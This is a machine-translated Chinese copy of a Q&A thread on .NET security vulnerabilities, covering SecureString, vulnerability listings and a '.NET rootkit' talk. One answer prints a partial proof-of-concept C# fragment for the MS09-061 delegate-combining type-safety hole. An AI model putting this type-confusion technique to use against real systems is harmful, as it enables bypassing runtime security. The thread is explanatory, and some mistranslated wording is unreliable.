![](/img/trans.png)
[英]Microsoft Platform Ready Test fails security test with .NET performance counters
[英]Security vulnerabilities of the .NET platform?
我正在研究.NET安全性。 大多數消息來源只描述了.NET安全機制,但是甚至沒有任何可能的漏洞或事情要記住。 你知道.NET平台上有任何安全問題嗎?
.NET世界中安全問題的主要來源是使用它的開發人員。 使用任何框架編寫應用程序都很容易,.NET框架也不是更好。
除此之外,我能想到的唯一主要問題是使用String而不是SecureString來存儲敏感數據(如密碼)的所有控件。 .NET框架的每個版本都比上一個版本好,但我認為仍有幾個常用控件不使用它們。
SecureString可以被認為是一個存儲在加密內存中的String,在使用后會從內存中刪除。 由於.NET中的字符串是不可變的,因此任何新字符串都將存儲在共享位置的內存中,以便具有相同值的新字符串可以共享該內存位置。 這意味着存儲在字符串中的敏感數據相對容易掌握。
你可以看看Secunia 。 它們顯示了.NET 2.0的14個漏洞,零補丁未修補。
一個非常有趣的,但不一定是可利用的(因為你總有需要root訪問權),請在今年的黑帽這次談話 (嗯,現在繼續)通過埃雷茲Metula,利用一些技巧來破解.NET框架並實現“.NET Rootkit”。
這是MS09-061的漏洞利用。
在我的示例類型安全漏洞中,我使用了union來繞過類型安全。 這不是一個真正的安全漏洞,因為這種聯盟需要完全信任。 但是,如果我們可以組合兩種不同的委托類型,我們也可以這樣做,因為缺少類型檢查,這是可能的。
如果您使用TypeSafetyExploitPoC.cs並使用以下內容替換TypeSystemHole方法,並添加對包含CombinePoCHelper.il的程序集的引用(用MSIL編寫,因為這是編寫您自己的MulticastDelegate子類的最簡單方法,可以調用受保護的CombineImpl方法)。
delegate void AnotherDelegate(Union1 u2);
static Union1 TypeSystemHole(Union2 u2)
{
Union1 u1 = null;
CombineHelper del1 = delegate { };
AnotherDelegate del2 = delegate(Union1 u) { u1 = u; };
del1 = (CombineHelper)CombineHelper.CombineHack(del1, del2);
del1(u2);
return u1;
}
這種情況再次發生的可能性很低恕我直言。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.